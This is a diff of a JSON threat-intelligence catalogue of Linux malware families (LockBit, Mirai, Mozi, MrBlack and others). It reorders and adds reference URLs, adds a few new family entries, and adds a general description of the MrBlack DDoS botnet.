-4875,15 +5327,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit", - "https://www.ic3.gov/Media/News/2022/220204.pdf", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/" + "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://security.packt.com/understanding-lockbit/", + "https://analyst1.com/ransomware-diaries-volume-1/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants" ], "synonyms": [], "type": [] @@ -4896,9 +5354,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.loerbas", - "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html", "https://www.cadosecurity.com/2020/05/16/1318/", - "https://twitter.com/nunohaien/status/1261281419483140096" + "https://twitter.com/nunohaien/status/1261281419483140096", + "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html" ], "synonyms": [], "type": [] @@ -4932,13 +5390,27 @@ "uuid": "cfcf8608-03e7-4a5b-a46c-af342db2d540", "value": "Lootwodniw" }, + { + "description": "ESXi encrypting ransomware written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.luna", + "https://nikhilh-20.github.io/blog/luna_ransomware/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bc9022d6-ee65-463f-9823-bc0f96963a75", + "value": "Luna" + }, { "description": "Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka", - "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", - "https://github.com/avast/ioc/tree/master/Manjusaka" + "https://github.com/avast/ioc/tree/master/Manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html" ], "synonyms": [], "type": [] @@ -4951,24 +5423,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta", - "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7", "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/", - "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes" + "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes", + "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7" ], "synonyms": [ "PureMasuta" ], "type": [] }, - "related": [ - { - "dest-uuid": "1d4dec2c-915a-4fef-ba7a-633421bd0848", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b9168ff8-01df-4cd0-9f70-fe9e7a11eccd", "value": "Masuta" }, @@ -4985,18 +5448,33 @@ "uuid": "4e989704-c49f-468c-95e1-1b7c5a58b3c4", "value": "Matryosh" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee", + "https://blog.exatrack.com/melofee/" + ], + "synonyms": [ + "Mélofée" + ], + "type": [] + }, + "uuid": "1ffd85bd-389c-4e04-88fd-8186423c3691", + "value": "Melofee" + }, { "description": "MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://attack.mitre.org/groups/G0096", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/" ], "synonyms": [], "type": [] @@ -5009,8 +5487,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim", - "https://www.guitmz.com/linux-midrashim-elf-virus/", - "https://github.com/guitmz/midrashim" + "https://github.com/guitmz/midrashim", + "https://www.guitmz.com/linux-midrashim-elf-virus/" ], "synonyms": [], "type": [] @@ -5023,8 +5501,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md", - "https://securitykitten.github.io/2016/12/14/mikey.html" + "https://securitykitten.github.io/2016/12/14/mikey.html", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md" ], "synonyms": [], "type": [] @@ -5037,64 +5515,66 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", - "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", - "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", - "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", - "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", - "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", - "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", - "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", - "https://synthesis.to/2021/06/30/automating_string_decryption.html", - "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", - "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", "https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/", - "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", - "https://github.com/jgamblin/Mirai-Source-Code", - "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", - "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/", - "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", - "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", - "https://www.youtube.com/watch?v=KVJyYTie-Dc", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", - "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", - "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", + "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/", "https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space", - "https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "http://osint.bambenekconsulting.com/feeds/", - "https://community.riskiq.com/article/d8a78daf", - "https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/", - "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", + "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", "https://isc.sans.edu/diary/22786", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "http://osint.bambenekconsulting.com/feeds/", + "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", + "https://community.riskiq.com/article/d8a78daf", + "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", + "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18", + "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", + "https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/", + "https://cert.gov.ua/article/37139", + "https://synthesis.to/2021/06/30/automating_string_decryption.html", + "https://www.youtube.com/watch?v=KVJyYTie-Dc", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/", + "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", + "https://www.fortinet.com/blog/threat-research/multiple-malware-campaigns-target-vmware-vulnerability", + "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", + "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", + "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", + "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", + "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", + "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/", "https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/", + "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", + "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/", "https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", - "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", - "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", - "https://cert.gov.ua/article/37139", - "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", - "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", - "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", - "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", - "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", - "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/" + "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", + "https://github.com/jgamblin/Mirai-Source-Code", + "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", + "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/" ], "synonyms": [ "Katana" @@ -5135,12 +5615,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot", - "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", - "https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability", - "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", + "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", "https://blog.netlab.360.com/ddos-botnet-moobot-en/", - "https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/" + "https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/", + "https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability" ], "synonyms": [], "type": [] @@ -5169,17 +5649,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi", - "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet", "https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/", - "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", - "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", - "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", - "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", - "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/", + "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", + "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", "https://www.youtube.com/watch?v=cDFO_MRlg3M", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf" + "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", + "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", + "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet" ], "synonyms": [], "type": [] @@ -5188,12 +5668,12 @@ "value": "Mozi" }, { - "description": "", + "description": "MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.\r\n\r\nMrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack", - "https://news.drweb.com/?i=5760&c=23&lng=en", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://news.drweb.com/?i=5760&c=23&lng=en" ], "synonyms": [], "type": [] @@ -5232,9 +5712,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb", - "https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/", "https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/", - "https://twitter.com/IntezerLabs/status/1324346324683206657" + "https://twitter.com/IntezerLabs/status/1324346324683206657", + "https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/" ], "synonyms": [], "type": [] @@ -5262,13 +5742,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html", - "https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/", "https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html", + "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", + "https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/" + "https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/" ], "synonyms": [ "remove_bds" @@ -5296,13 +5776,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari", + "https://twitter.com/ankit_anubhav/status/1019647993547550720", + "https://twitter.com/hrbrmstr/status/1019922651203227653", "https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863", "https://twitter.com/360Netlab/status/1019759516789821441", "https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html", - "https://twitter.com/ankit_anubhav/status/1019647993547550720", "https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/", - "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/", - "https://twitter.com/hrbrmstr/status/1019922651203227653" + "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/" ], "synonyms": [], "type": [] @@ -5341,18 +5821,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://lab52.io/blog/looking-for-penquins-in-the-wild/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - 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"https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/" + "https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/", + "https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://sysdig.com/blog/malware-analysis-shellbot-sysdig/", + "https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf", + "https://asec.ahnlab.com/en/49769/" ], "synonyms": [ "DDoS Perl IrcBot", @@ -5399,6 +5880,19 @@ "uuid": "2ee05352-3d4a-448b-825d-9d6c10792bf7", "value": "Persirai" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull", + "https://unit42.paloaltonetworks.com/alloy-taurus/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "65a7944c-15d9-4ca5-8561-7c97b18684c8", + "value": "PingPull" + }, { "description": "A botnet with P2P and centralized C&C capabilities.", "meta": { @@ -5417,13 +5911,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", "https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", - "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020" + "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -5464,13 +5959,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://twitter.com/IntezerLabs/status/1338480158249013250", + "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", + "https://cujo.com/iot-malware-journals-prometei-linux/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", - "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", - "https://twitter.com/IntezerLabs/status/1338480158249013250", - "https://cujo.com/iot-malware-journals-prometei-linux/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] @@ -5497,8 +5992,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", - "https://github.com/n1nj4sec/pupy" + "https://github.com/n1nj4sec/pupy", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf" ], "synonyms": [], "type": [] @@ -5511,18 +6006,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt", - "https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/", "https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/", - "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/", - "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/", - 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"https://bin.re/blog/the-dga-of-qsnatch/", - "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf", "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", - "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", - "https://us-cert.cisa.gov/ncas/alerts/aa20-209a" + "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", + "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", + "https://bin.re/blog/the-dga-of-qsnatch/", + "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" ], "synonyms": [], "type": [] @@ -5555,7 +6050,8 @@ "meta": { "refs": [ 